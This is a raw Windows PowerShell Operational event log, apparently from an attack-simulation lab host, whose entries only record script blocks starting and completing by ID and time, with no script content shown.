Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648234
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648233
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648231
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648229
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648227
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648245
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648243
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648241
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648240
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648239
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648238
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648237
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648255
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648254
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648253
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648251
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648249
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648247
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648266
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648265
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648263
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648261
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648259
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648258
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648257
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648275
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648273
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648272
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648271
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648269
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648267
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648286
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648285
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648283
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
